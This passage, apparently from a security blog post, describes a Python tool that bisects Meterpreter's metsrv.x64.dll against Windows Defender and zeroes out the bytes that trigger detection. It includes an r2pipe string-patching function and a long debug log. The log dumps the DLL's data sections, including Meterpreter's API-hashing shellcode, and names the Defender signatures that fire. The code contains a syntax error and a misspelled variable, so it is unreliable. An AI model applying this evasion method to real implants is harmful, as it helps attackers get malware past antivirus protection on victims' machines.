It suffices to seek at the correct address and write some zeros. However this gets more complicated with strings of different encodings, so that’s why r2pipe was initially used: strings encodings are collected and every operation on the string inside the binary must account for the string’s encoding. For instance, UTF-8 strings have 2 bytes par character.

This poses a problem when writing the string back in place after the string analysis, but to tackle this problem r2pipe’s ability to write base64-encoded content with a provided encoding saves the day:

def patch_string(filename, str_ref, pipe=None, unmask_only=False, use_r2=True):
    if pipe is None:
        pipe =, flags=["-w"])

    if not str_ref.should_mask:
        replacement = str_ref.content
    elif not unmask_only:
        replacement = ''.join(random.choice(['\x00']) for _ in range(str_ref.length))
        replacement = replacement + '\0'

    logging.debug(f"Patching {str_ref.content} @ {str_ref.paddr} ({filename})")

    if use_r2:
        eplacement = base64.b64encode(bytes(replacement, convert_encoding(str_ref.encoding))).decode()
        pipe.cmd(f"w6d {replacement} @ {str_ref.paddr}")

        # weird bug with r2 on macOS. Code below is not correct in all cases but is a workaround
        with open(filename, 'r+b') as f:
            f.write(bytes(replacement, encoding=convert_encoding(str_ref.encoding)))

The rest of the code is not commented further in this blog post because it comprises binary search algorithms over these artefacts, and interval trees to filter the overlapping results, none of which too complicated to deserve a lengthy explanation.

Example for metsrv.x64.dll

Disclaimer: our metsrv.x64.dll is patched with some goodies to evade other antivirus and with a custom reflective loader, but the signatures identified later on also cause detection in the original one, except there are even higher score artefacts that should be taken care of first.

python3 -f /tmp/metsrv.x64.dll -g                                                                                                                           
[DEBUG   ][2021-08-28 17:11:47,317][] get_sections() :: Found section: Section(name='.text', size=132096, vsize=135168, addr=1024, vaddr=1820594176, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][] get_sections() :: Found section: Section(name='.data', size=9728, vsize=12288, addr=133120, vaddr=1820729344, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][] get_sections() :: Found section: Section(name='.rdata', size=6656, vsize=8192, addr=142848, vaddr=1820741632, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][] get_sections() :: Found section: Section(name='.pdata', size=5120, vsize=8192, addr=149504, vaddr=1820749824, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][] get_sections() :: Found section: Section(name='.xdata', size=5632, vsize=8192, addr=154624, vaddr=1820758016, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][] get_sections() :: Found section: Section(name='.edata', size=512, vsize=4096, addr=160256, vaddr=1820782592, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][] get_sections() :: Found section: Section(name='.idata', size=8192, vsize=8192, addr=160768, vaddr=1820786688, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][] get_sections() :: Found section: Section(name='.CRT', size=512, vsize=4096, addr=168960, vaddr=1820794880, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][] get_sections() :: Found section: Section(name='.tls', size=512, vsize=4096, addr=169472, vaddr=1820798976, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][] get_sections() :: Found section: Section(name='.reloc', size=512, vsize=4096, addr=169984, vaddr=1820803072, detected=False)
[DEBUG   ][2021-08-28 17:11:53,705][ 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp59yh6tr3...
[DEBUG   ][2021-08-28 17:11:53,706][ 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:11:53,706][ 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:11:53,706][ 99] scan() :: Threat found
[INFO    ][2021-08-28 17:11:53,921][] global_vars_analysis() :: Applying patches
[INFO    ][2021-08-28 17:11:53,977][] global_vars_analysis() :: Simple check: maybe a single global variable is detected
[DEBUG   ][2021-08-28 17:11:55,183][] detect_data() :: [Variable(addr=1820729376, size=4608, paddr=133152), Variable(addr=1820733984, size=32, paddr=137760), Variable(addr=1820734016, size=32, paddr=137792), Variable(addr=1820734048, size=32, paddr=137824), Variable(addr=1820734080, size=32, paddr=137856), Variable(addr=1820734112, size=608, paddr=137888), Variable(addr=1820734720, size=289, paddr=138496), Variable(addr=1820735009, size=111, paddr=138785), Variable(addr=1820735120, size=16, paddr=138896), Variable(addr=1820735136, size=32, paddr=138912), Variable(addr=1820735168, size=992, paddr=138944), Variable(addr=1820736160, size=2016, paddr=139936), Variable(addr=1820738176, size=32, paddr=141952), Variable(addr=1820738208, size=32, paddr=141984), Variable(addr=1820738240, size=160, paddr=142016), Variable(addr=1820738400, size=32, paddr=142176), Variable(addr=1820738432, size=32, paddr=142208), Variable(addr=1820738464, size=128, paddr=142240), Variable(addr=1820738592, size=96, paddr=142368), Variable(addr=1820738688, size=4, paddr=142464), Variable(addr=1820738692, size=4, paddr=142468), Variable(addr=1820738696, size=4, paddr=142472), Variable(addr=1820738700, size=4, paddr=142476), Variable(addr=1820738704, size=4, paddr=142480), Variable(addr=1820738708, size=12, paddr=142484), Variable(addr=1820738720, size=192, paddr=142496), Variable(addr=1820738912, size=96, paddr=142688), Variable(addr=1820739008, size=16, paddr=142784), Variable(addr=1820739024, size=16, paddr=142800), Variable(addr=1820739040, size=16, paddr=142816), Variable(addr=1820739056, size=2576, paddr=142832)]
[DEBUG   ][2021-08-28 17:11:55,183][] print_global_variables() :: Found 4608 bytes variable @ 0x6c862020:
[DEBUG   ][2021-08-28 17:11:55,184][] print_global_variables() ::
00000000: 09 00 00 00 00 00 00 00  D0 13 84 6C 00 00 00 00  ...........l....
00000010: 00 00 00 00 00 00 00 00  00 00 01 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  01 00 00 10 00 00 00 00  ................
00000060: E0 13 84 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,184][] print_global_variables() :: Found 32 bytes variable @ 0x6c863220:
[DEBUG   ][2021-08-28 17:11:55,184][] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,184][] print_global_variables() :: Found 32 bytes variable @ 0x6c863240:
[DEBUG   ][2021-08-28 17:11:55,184][] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:11:55,184][] print_global_variables() :: Found 32 bytes variable @ 0x6c863260:
[DEBUG   ][2021-08-28 17:11:55,184][] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,184][] print_global_variables() :: Found 32 bytes variable @ 0x6c863280:
[DEBUG   ][2021-08-28 17:11:55,184][] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:11:55,184][] print_global_variables() :: Found 608 bytes variable @ 0x6c8632a0:
[DEBUG   ][2021-08-28 17:11:55,185][] print_global_variables() ::
00000000: FC 80 79 10 00 0F 85 13  01 00 00 C6 41 10 01 48  ..y.........A..H
00000010: 83 EC 78 E8 C8 00 00 00  41 51 41 50 52 51 56 48  ..x.....AQAPRQVH
00000020: 31 D2 65 48 8B 52 60 48  8B 52 18 48 8B 52 20 48  1.eH.R`H.R.H.R H
00000030: 8B 72 50 48 0F B7 4A 4A  4D 31 C9 48 31 C0 AC 3C  .rPH..JJM1.H1..<
00000040: 61 7C 02 2C 20 41 C1 C9  0D 41 01 C1 E2 ED 52 41  a|., A...A....RA
00000050: 51 48 8B 52 20 8B 42 3C  48 01 D0 66 81 78 18 0B  QH.R .B<H..f.x..
00000060: 02 75 72 8B 80 88 00 00  00 48 85 C0 74 67 48 01  .ur......H..tgH.
00000070: D0 50 8B 48 18 44 8B 40  20 49 01 D0 E3 56 48 FF  [email protected] I...VH.
[DEBUG   ][2021-08-28 17:11:55,185][] print_global_variables() :: Found 289 bytes variable @ 0x6c863500:
[DEBUG   ][2021-08-28 17:11:55,185][] print_global_variables() ::
00000000: FC 48 89 CE 48 89 E7 48  83 E4 F0 E8 C8 00 00 00  .H..H..H........
00000010: 41 51 41 50 52 51 56 48  31 D2 65 48 8B 52 60 48  AQAPRQVH1.eH.R`H
00000020: 8B 52 18 48 8B 52 20 48  8B 72 50 48 0F B7 4A 4A  .R.H.R H.rPH..JJ
00000030: 4D 31 C9 48 31 C0 AC 3C  61 7C 02 2C 20 41 C1 C9  M1.H1..<a|., A..
00000040: 0D 41 01 C1 E2 ED 52 41  51 48 8B 52 20 8B 42 3C  .A....RAQH.R .B<
00000050: 48 01 D0 66 81 78 18 0B  02 75 72 8B 80 88 00 00  H..f.x...ur.....
00000060: 00 48 85 C0 74 67 48 01  D0 50 8B 48 18 44 8B 40  [email protected]
00000070: 20 49 01 D0 E3 56 48 FF  C9 41 8B 34 88 48 01 D6   I...VH..A.4.H..
[DEBUG   ][2021-08-28 17:11:55,185][] print_global_variables() :: Found 111 bytes variable @ 0x6c863621:
[DEBUG   ][2021-08-28 17:11:55,186][] print_global_variables() ::
00000000: 83 C4 50 48 89 FC C3 00  00 00 00 00 00 00 00 00  ..PH............
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 55  ...............U
00000020: 89 E5 56 57 8B 75 08 8B  4D 0C E8 00 00 00 00 58  ..VW.u..M......X
00000030: 83 C0 2B 83 EC 08 89 E2  C7 42 04 33 00 00 00 89  ..+......B.3....
00000040: 02 E8 0F 00 00 00 66 8C  D8 66 8E D0 83 C4 14 5F  ......f..f....._
00000050: 5E 5D C2 08 00 8B 3C E4  FF 2A 48 31 C0 57 FF D6  ^]....<..*H1.W..
00000060: 5F 50 C7 44 24 04 23 00  00 00 89 3C 24 FF 2C     _P.D$.#....<$.,
[DEBUG   ][2021-08-28 17:11:55,186][] print_global_variables() :: Found 16 bytes variable @ 0x6c863690:
[DEBUG   ][2021-08-28 17:11:55,186][] print_global_variables() ::
00000000: 24 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  $...............
[DEBUG   ][2021-08-28 17:11:55,186][] print_global_variables() :: Found 32 bytes variable @ 0x6c8636a0:
[DEBUG   ][2021-08-28 17:11:55,186][] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,186][] print_global_variables() :: Found 992 bytes variable @ 0x6c8636c0:
[DEBUG   ][2021-08-28 17:11:55,186][] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
00000020: 00 37 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  .7.l............
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 10 73 84 6C 00 00 00 00  40 72 84 6C 00 00 00 00  [email protected]
00000050: 30 76 84 6C 00 00 00 00  20 6D 84 6C 00 00 00 00  0v.l.... m.l....
00000060: D0 65 84 6C 00 00 00 00  00 79 84 6C 00 00 00 00  .e.l.....y.l....
00000070: D0 62 84 6C 00 00 00 00  80 69 84 6C 00 00 00 00  .b.l.....i.l....
[DEBUG   ][2021-08-28 17:11:55,186][] print_global_variables() :: Found 2016 bytes variable @ 0x6c863aa0:
[DEBUG   ][2021-08-28 17:11:55,187][] print_global_variables() ::
00000000: 0C 00 00 00 00 00 00 00  F0 D2 84 6C 00 00 00 00  ...........l....
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,187][] print_global_variables() :: Found 32 bytes variable @ 0x6c864280:
[DEBUG   ][2021-08-28 17:11:55,187][] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,187][] print_global_variables() :: Found 32 bytes variable @ 0x6c8642a0:
[DEBUG   ][2021-08-28 17:11:55,187][] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:11:55,187][] print_global_variables() :: Found 160 bytes variable @ 0x6c8642c0:
[DEBUG   ][2021-08-28 17:11:55,187][] print_global_variables() ::
00000000: 00 00 00 00 01 00 00 00  03 00 00 00 07 00 00 00  ................
00000010: 0F 00 00 00 1F 00 00 00  3F 00 00 00 7F 00 00 00  ........?.......
00000020: FF 00 00 00 FF 01 00 00  FF 03 00 00 FF 07 00 00  ................
00000030: FF 0F 00 00 FF 1F 00 00  FF 3F 00 00 FF 7F 00 00  .........?......
00000040: FF FF 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 20 69 6E 66 6C 61 74 65  20 31 2E 30 2E 34 20 43   inflate 1.0.4 C
00000070: 6F 70 79 72 69 67 68 74  20 31 39 39 35 2D 31 39  opyright 1995-19
[DEBUG   ][2021-08-28 17:11:55,187][] print_global_variables() :: Found 32 bytes variable @ 0x6c864360:
[DEBUG   ][2021-08-28 17:11:55,187][] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  C0 43 86 6C 00 00 00 00  .........C.l....
00000010: 00 00 00 00 13 00 00 00  07 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,187][] print_global_variables() :: Found 32 bytes variable @ 0x6c864380:
[DEBUG   ][2021-08-28 17:11:55,188][] print_global_variables() ::
00000000: 60 D6 86 6C 00 00 00 00  20 44 86 6C 00 00 00 00  `..l.... D.l....
00000010: 00 00 00 00 1E 00 00 00  0F 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,188][] print_global_variables() :: Found 128 bytes variable @ 0x6c8643a0:
[DEBUG   ][2021-08-28 17:11:55,188][] print_global_variables() ::
00000000: E0 D6 86 6C 00 00 00 00  A0 44 86 6C 00 00 00 00  ...l.....D.l....
00000010: 01 01 00 00 1E 01 00 00  0F 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 02 00 00 00 03 00 00 00  07 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,188][] print_global_variables() :: Found 96 bytes variable @ 0x6c864420:
[DEBUG   ][2021-08-28 17:11:55,188][] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000010: 01 00 00 00 01 00 00 00  02 00 00 00 02 00 00 00  ................
00000020: 03 00 00 00 03 00 00 00  04 00 00 00 04 00 00 00  ................
00000030: 05 00 00 00 05 00 00 00  06 00 00 00 06 00 00 00  ................
00000040: 07 00 00 00 07 00 00 00  08 00 00 00 08 00 00 00  ................
00000050: 09 00 00 00 09 00 00 00  0A 00 00 00 0A 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,188][] print_global_variables() :: Found 4 bytes variable @ 0x6c864480:
[DEBUG   ][2021-08-28 17:11:55,188][] print_global_variables() ::
00000000: 0B 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:11:55,188][] print_global_variables() :: Found 4 bytes variable @ 0x6c864484:
[DEBUG   ][2021-08-28 17:11:55,188][] print_global_variables() ::
00000000: 0B 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:11:55,188][] print_global_variables() :: Found 4 bytes variable @ 0x6c864488:
[DEBUG   ][2021-08-28 17:11:55,189][] print_global_variables() ::
00000000: 0C 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:11:55,189][] print_global_variables() :: Found 4 bytes variable @ 0x6c86448c:
[DEBUG   ][2021-08-28 17:11:55,189][] print_global_variables() ::
00000000: 0C 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:11:55,189][] print_global_variables() :: Found 4 bytes variable @ 0x6c864490:
[DEBUG   ][2021-08-28 17:11:55,189][] print_global_variables() ::
00000000: 0D 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:11:55,189][] print_global_variables() :: Found 12 bytes variable @ 0x6c864494:
[DEBUG   ][2021-08-28 17:11:55,189][] print_global_variables() ::
00000000: 0D 00 00 00 00 00 00 00  00 00 00 00              ............
[DEBUG   ][2021-08-28 17:11:55,189][] print_global_variables() :: Found 192 bytes variable @ 0x6c8644a0:
[DEBUG   ][2021-08-28 17:11:55,189][] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 01 00 00 00 01 00 00 00  01 00 00 00 01 00 00 00  ................
00000030: 02 00 00 00 02 00 00 00  02 00 00 00 02 00 00 00  ................
00000040: 03 00 00 00 03 00 00 00  03 00 00 00 03 00 00 00  ................
00000050: 04 00 00 00 04 00 00 00  04 00 00 00 04 00 00 00  ................
00000060: 05 00 00 00 05 00 00 00  05 00 00 00 05 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,189][] print_global_variables() :: Found 96 bytes variable @ 0x6c864560:
[DEBUG   ][2021-08-28 17:11:55,189][] print_global_variables() ::
00000000: 40 12 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  @..l............
00000010: FF FF FF FF FF FF FF FF  00 00 00 00 00 00 00 00  ................
00000020: 02 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 70 0E 86 6C 00 00 00 00  90 0D 86 6C 00 00 00 00  p..l.......l....
00000040: 60 0D 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  `..l............
00000050: F0 0E 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
[DEBUG   ][2021-08-28 17:11:55,189][] print_global_variables() :: Found 16 bytes variable @ 0x6c8645c0:
[DEBUG   ][2021-08-28 17:11:55,190][] print_global_variables() ::
00000000: 10 0F 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
[DEBUG   ][2021-08-28 17:11:55,190][] print_global_variables() :: Found 16 bytes variable @ 0x6c8645d0:
[DEBUG   ][2021-08-28 17:11:55,190][] print_global_variables() ::
00000000: 40 10 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  @..l............
[DEBUG   ][2021-08-28 17:11:55,190][] print_global_variables() :: Found 16 bytes variable @ 0x6c8645e0:
[DEBUG   ][2021-08-28 17:11:55,190][] print_global_variables() ::
00000000: 32 A2 DF 2D 99 2B 00 00  00 00 00 00 00 00 00 00  2..-.+..........
[DEBUG   ][2021-08-28 17:11:55,190][] print_global_variables() :: Found 2576 bytes variable @ 0x6c8645f0:
[DEBUG   ][2021-08-28 17:11:55,190][] print_global_variables() ::
00000000: CD 5D 20 D2 66 D4 FF FF  00 00 00 00 00 00 00 00  .] .f...........
00000010: 68 69 64 5F 74 5F 63 5F  70 5F 5F 6F 52 78 50 46  hid_t_c_p__oRxPF
00000020: 78 74 49 39 78 45 62 00  68 69 64 5F 70 5F 69 5F  xtI9xEb.hid_p_i_
00000030: 70 5F 5F 76 4E 53 37 5A  7A 32 33 57 35 75 49 00  p__vNS7Zz23W5uI.
00000040: 68 69 64 5F 68 5F 74 5F  74 5F 5F 75 46 55 34 43  hid_h_t_t__uFU4C
00000050: 69 62 42 65 58 70 49 00  5A 77 57 72 69 74 65 56  ibBeXpI.ZwWriteV
00000060: 69 72 74 75 61 6C 4D 65  6D 6F 72 79 00 63 3A 5C  irtualMemory.c:\
00000070: 77 69 6E 64 6F 77 73 5C  73 79 73 74 65 6D 33 32  windows\system32
[DEBUG   ][2021-08-28 17:12:00,454][ 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmped3im1ly...
[DEBUG   ][2021-08-28 17:12:00,455][ 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:00,455][ 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:00,455][ 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:00,701][] hide_bytes() :: Hiding 4608 bytes @ 133152
[DEBUG   ][2021-08-28 17:12:06,035][ 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpzx74mt29...
[DEBUG   ][2021-08-28 17:12:06,036][ 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:06,036][ 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:06,036][ 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:06,215][] global_vars_analysis() :: True -  SLFPER:Win32/Meterpreter!ApiRetrieval
[DEBUG   ][2021-08-28 17:12:06,281][] hide_bytes() :: Hiding 32 bytes @ 137760
[DEBUG   ][2021-08-28 17:12:11,666][ 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpa_4l0sk8...
[DEBUG   ][2021-08-28 17:12:11,667][ 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:11,667][ 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:11,667][ 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:11,862][] global_vars_analysis() :: True -  SLFPER:Win32/Meterpreter!ApiRetrieval
[DEBUG   ][2021-08-28 17:12:11,943][] hide_bytes() :: Hiding 32 bytes @ 137792
[DEBUG   ][2021-08-28 17:12:17,213][ 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpi7gp9d48...
[DEBUG   ][2021-08-28 17:12:17,213][ 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:17,213][ 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:17,214][ 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:17,419][] global_vars_analysis() :: True -  SLFPER:Win32/Meterpreter!ApiRetrieval
[DEBUG   ][2021-08-28 17:12:17,493][] hide_bytes() :: Hiding 32 bytes @ 137824
[DEBUG   ][2021-08-28 17:12:22,833][ 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpr71y603k...
[DEBUG   ][2021-08-28 17:12:22,833][ 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:22,833][ 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:22,834][ 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:23,007][] global_vars_analysis() :: True -  SLFPER:Win32/Meterpreter!ApiRetrieval
[DEBUG   ][2021-08-28 17:12:23,055][] hide_bytes() :: Hiding 32 bytes @ 137856
[DEBUG   ][2021-08-28 17:12:28,942][ 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpvbalewhc...
[DEBUG   ][2021-08-28 17:12:28,942][ 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:28,943][ 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:28,943][ 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:29,161][] global_vars_analysis() :: True -  SLFPER:Win32/Meterpreter!ApiRetrieval
[DEBUG   ][2021-08-28 17:12:29,225][] hide_bytes() :: Hiding 608 bytes @ 137888
[DEBUG   ][2021-08-28 17:12:34,480][ 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp1jktj6b4...
[DEBUG   ][2021-08-28 17:12:34,480][ 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:34,480][ 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:12:34,481][ 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:34,672][] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[INFO    ][2021-08-28 17:12:34,672][] global_vars_analysis() :: Windows Defender detects this global variable:
[INFO    ][2021-08-28 17:12:34,672][ 70] display() ::
00000000: FC 80 79 10 00 0F 85 13  01 00 00 C6 41 10 01 48  ..y.........A..H
00000010: 83 EC 78 E8 C8 00 00 00  41 51 41 50 52 51 56 48  ..x.....AQAPRQVH
00000020: 31 D2 65 48 8B 52 60 48  8B 52 18 48 8B 52 20 48  1.eH.R`H.R.H.R H
00000030: 8B 72 50 48 0F B7 4A 4A  4D 31 C9 48 31 C0 AC 3C  .rPH..JJM1.H1..<
00000040: 61 7C 02 2C 20 41 C1 C9  0D 41 01 C1 E2 ED 52 41  a|., A...A....RA
00000050: 51 48 8B 52 20 8B 42 3C  48 01 D0 66 81 78 18 0B  QH.R .B<H..f.x..
00000060: 02 75 72 8B 80 88 00 00  00 48 85 C0 74 67 48 01  .ur......H..tgH.
00000070: D0 50 8B 48 18 44 8B 40  20 49 01 D0 E3 56 48 FF  [email protected] I...VH.
[ERROR   ][2021-08-28 17:12:34,672][] global_vars_analysis() :: Patching and starting over, since we've found something that may decrease the detection score.
[INFO    ][2021-08-28 17:12:34,672][] global_vars_analysis() :: Applying patches
[DEBUG   ][2021-08-28 17:12:34,723][] hide_bytes() :: Hiding 608 bytes @ 137888
[INFO    ][2021-08-28 17:12:34,724][] global_vars_analysis() :: Simple check: maybe a single global variable is detected
[DEBUG   ][2021-08-28 17:12:35,919][] detect_data() :: [Variable(addr=1820729376, size=4608, paddr=133152), Variable(addr=1820733984, size=32, paddr=137760), Variable(addr=1820734016, size=32, paddr=137792), Variable(addr=1820734048, size=32, paddr=137824), Variable(addr=1820734080, size=32, paddr=137856), Variable(addr=1820734112, size=608, paddr=137888), Variable(addr=1820734720, size=289, paddr=138496), Variable(addr=1820735009, size=111, paddr=138785), Variable(addr=1820735120, size=16, paddr=138896), Variable(addr=1820735136, size=32, paddr=138912), Variable(addr=1820735168, size=992, paddr=138944), Variable(addr=1820736160, size=2016, paddr=139936), Variable(addr=1820738176, size=32, paddr=141952), Variable(addr=1820738208, size=32, paddr=141984), Variable(addr=1820738240, size=160, paddr=142016), Variable(addr=1820738400, size=32, paddr=142176), Variable(addr=1820738432, size=32, paddr=142208), Variable(addr=1820738464, size=128, paddr=142240), Variable(addr=1820738592, size=96, paddr=142368), Variable(addr=1820738688, size=4, paddr=142464), Variable(addr=1820738692, size=4, paddr=142468), Variable(addr=1820738696, size=4, paddr=142472), Variable(addr=1820738700, size=4, paddr=142476), Variable(addr=1820738704, size=4, paddr=142480), Variable(addr=1820738708, size=12, paddr=142484), Variable(addr=1820738720, size=192, paddr=142496), Variable(addr=1820738912, size=96, paddr=142688), Variable(addr=1820739008, size=16, paddr=142784), Variable(addr=1820739024, size=16, paddr=142800), Variable(addr=1820739040, size=16, paddr=142816), Variable(addr=1820739056, size=2576, paddr=142832)]
[DEBUG   ][2021-08-28 17:12:35,919][] print_global_variables() :: Found 4608 bytes variable @ 0x6c862020:
[DEBUG   ][2021-08-28 17:12:35,920][] print_global_variables() ::
00000000: 09 00 00 00 00 00 00 00  D0 13 84 6C 00 00 00 00  ...........l....
00000010: 00 00 00 00 00 00 00 00  00 00 01 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  01 00 00 10 00 00 00 00  ................
00000060: E0 13 84 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
